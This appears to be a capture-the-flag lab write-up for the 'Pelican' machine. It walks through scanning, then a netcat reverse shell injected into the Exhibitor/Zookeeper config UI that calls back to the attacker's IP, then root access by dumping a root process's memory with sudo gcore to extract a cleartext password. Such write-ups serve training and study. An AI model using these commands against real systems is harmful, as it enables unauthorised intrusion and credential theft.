Pelican

Initial Reconnaissance

I started with some quick reconnaissance by running rustscan against the target machine at 192.168.150.98 to find open ports and get a feel for what services might be running:

rustscan -a 192.168.150.98

This scan returned the following results:

PORT      STATE SERVICE         REASON
22/tcp    open  ssh             syn-ack ttl 61
139/tcp   open  netbios-ssn     syn-ack ttl 61
445/tcp   open  microsoft-ds    syn-ack ttl 61
631/tcp   open  ipp             syn-ack ttl 61
2181/tcp  open  eforward        syn-ack ttl 61
2222/tcp  open  EtherNetIP-1    syn-ack ttl 61
8080/tcp  open  http-proxy      syn-ack ttl 61
8081/tcp  open  blackice-icecap syn-ack ttl 61
39605/tcp open  unknown         syn-ack ttl 61

With quite a few open ports showing up, I moved on to a more comprehensive scan using nmap. This scan included version detection, script scanning, and OS detection across all TCP ports:

sudo nmap -A -sC -sV -T4 192.168.150.98 -p- --open -v -oN tcp_scan.nmap

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
|   256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
|_  256 f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
631/tcp  open  ipp         CUPS 2.2
| http-methods: 
|   Supported Methods: GET HEAD OPTIONS POST PUT
|_  Potentially risky methods: PUT
|_http-title: Forbidden - CUPS v2.2.10
|_http-server-header: CUPS/2.2 IPP/2.1
2181/tcp open  zookeeper   Zookeeper 3.4.6-1569965 (Built on 02/20/2014)
8080/tcp open  http        Jetty 1.0
|_http-server-header: Jetty(1.0)
|_http-title: Error 404 Not Found
8081/tcp open  http        nginx 1.14.2
|_http-server-header: nginx/1.14.2
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://192.168.150.98:8080/exhibitor/v1/ui/index.html
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Uptime guess: 37.257 days (since Sun Mar  2 15:27:42 2025)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=254 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: PELICAN; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h20m01s, deviation: 2h18m36s, median: 0s
| smb2-time: 
|   date: 2025-04-09T02:38:10
|_  start_date: N/A
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: pelican
|   NetBIOS computer name: PELICAN\x00
|   Domain name: \x00
|   FQDN: pelican
|_  System time: 2025-04-08T22:38:13-04:00
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

The results revealed more detail about the services in play:

SSH (22): OpenSSH 7.9p1 on Debian 10.
Samba (139/445): Version 4.9.5, indicating potential SMB-based vectors.
CUPS (631): Common Unix Printing System v2.2, with PUT requests allowed—might be interesting later.
Zookeeper (2181): Version 3.4.6, known to have some RCE vulnerabilities.
Jetty on 8080 and nginx on 8081, both serving web content.

Also worth noting—port 8081 redirected to:

http://192.168.150.98:8080/exhibitor/v1/ui/index.html

This hinted at the presence of Exhibitor, a web-based UI for managing Zookeeper.

SMB Enumeration

Using smbclient, I checked for shared directories without authentication:

smbclient -L 192.168.150.98 -N

Output:

┌──(kali㉿kali)-[~/Tools]
└─$ smbclient -L 192.168.150.98 -N 

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        IPC$            IPC       IPC Service (Samba 4.9.5-Debian)
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP

There weren’t any juicy shares available, but this confirmed Samba was set up and accessible.

Gaining Initial Access via Zookeeper/Exhibitor

After a bit of research on the Zookeeper service, I came across this exploit on Exploit-DB, which targets a misconfigured Exhibitor UI running on top of Zookeeper.

Visiting http://192.168.150.98:8080/exhibitor/v1/ui/index.html confirmed the Exhibitor interface was active:

Following the exploit steps, I went to the Config tab, enabled editing, and injected a reverse shell command into the java.env script field:

$(/bin/nc -e /bin/sh 192.168.45.155 443 &)

On my Kali machine, I prepared a listener:

rlwrap nc -lnvp 443

After committing the changes in the Exhibitor UI, the command took a few moments to fire, but eventually I received a shell back:

┌──(kali㉿kali)-[~/Tools]
└─$ rlwrap nc -lnvp 443
listening on [any] 443 ...
connect to [192.168.45.155] from (UNKNOWN) [192.168.150.98] 51028
whoami
charles

To improve shell stability, I spawned a proper TTY:

python -c 'import pty; pty.spawn("/bin/bash")'

User Flag

Once inside, I navigated to the user directory:

cd /home/charles
ls
cat local.txt

charles@pelican:/home$ cd charles
cd charles
charles@pelican:~$ ls
ls
local.txt
charles@pelican:~$ cat local.txt
cat local.txt
18487654ccf0f28d244b79e408908f7b
charles@pelican:~$ ifconfig
ifconfig
ens192: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.150.98  netmask 255.255.255.0  broadcast 192.168.150.255
        ether 00:50:56:ab:6c:b6  txqueuelen 1000  (Ethernet)
        RX packets 1075  bytes 146050 (142.6 KiB)
        RX errors 0  dropped 11  overruns 0  frame 0
        TX packets 995  bytes 1227480 (1.1 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 3445  bytes 212981 (207.9 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3445  bytes 212981 (207.9 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Privilege Escalation

Next step was to check for sudo permissions:

sudo -l

The result was interesting—charles could run /usr/bin/gcore as root without needing a password:

charles@pelican:~$ sudo -l
sudo -l
Matching Defaults entries for charles on pelican:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User charles may run the following commands on pelican:
    (ALL) NOPASSWD: /usr/bin/gcore

Using gcore to Leak Secrets

gcore is a debugging utility that dumps the memory of a running process. According to GTFOBins, it can be used to extract sensitive data if you know what to target.

I ran ps aux | grep password to look for processes that might handle credentials. One stood out:

ps -aux | grep "password"
root       513  0.0  0.0   2276    72 ?        Ss   22:54   0:00 /usr/bin/password-store
charles   5344  0.0  0.0   6208   824 pts/0    S+   23:09   0:00 grep password

This was running as root under PID 513. Using gcore, I dumped its memory:

sudo /usr/bin/gcore 513

charles@pelican:~$ sudo /usr/bin/gcore 513
sudo /usr/bin/gcore 513
0x00007f971bd1c6f4 in __GI___nanosleep (requested_time=requested_time@entry=0x7ffc3d7a2c80, remaining=remaining@entry=0x7ffc3d7a2c80) at ../sysdeps/unix/sysv/linux/nanosleep.c:28
28      ../sysdeps/unix/sysv/linux/nanosleep.c: No such file or directory.
Saved corefile core.513
[Inferior 1 (process 513) detached]

That produced a core dump file: core.513. I searched it using strings:

strings core.513

Eventually, I found a cleartext password:

ClogKingpinInning731

Root Access

Using this password, I switched to the root user:

su root

charles@pelican:~$ su root
su root
Password: ClogKingpinInning731

root@pelican:/home/charles#

Once authenticated, I navigated to the root home directory:

cd /root
cat proof.txt

The root flag proof.txt can be found in /root directory:

root@pelican:/home/charles# cd /root
cd /root
root@pelican:~# ls
ls
Desktop    Downloads  Pictures   Public     Videos
Documents  Music      proof.txt  Templates
root@pelican:~# cat proof.txt
cat proof.txt
43db868a573cb15559f607b8f4b3e613
root@pelican:~# ifconfig
ifconfig
ens192: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.150.98  netmask 255.255.255.0  broadcast 192.168.150.255
        ether 00:50:56:ab:6c:b6  txqueuelen 1000  (Ethernet)
        RX packets 4352  bytes 704095 (687.5 KiB)
        RX errors 0  dropped 28  overruns 0  frame 0
        TX packets 3528  bytes 1927150 (1.8 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 16655  bytes 1017817 (993.9 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 16655  bytes 1017817 (993.9 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Summary

Discovered misconfigured Exhibitor panel through Zookeeper’s HTTP interface.
Used command injection to gain shell access as user charles.
Escalated to root by abusing gcore to dump a process containing a plaintext password.

References

https://gbozyelg.medium.com/proving-grounds-practice-pelican-7021741caa2e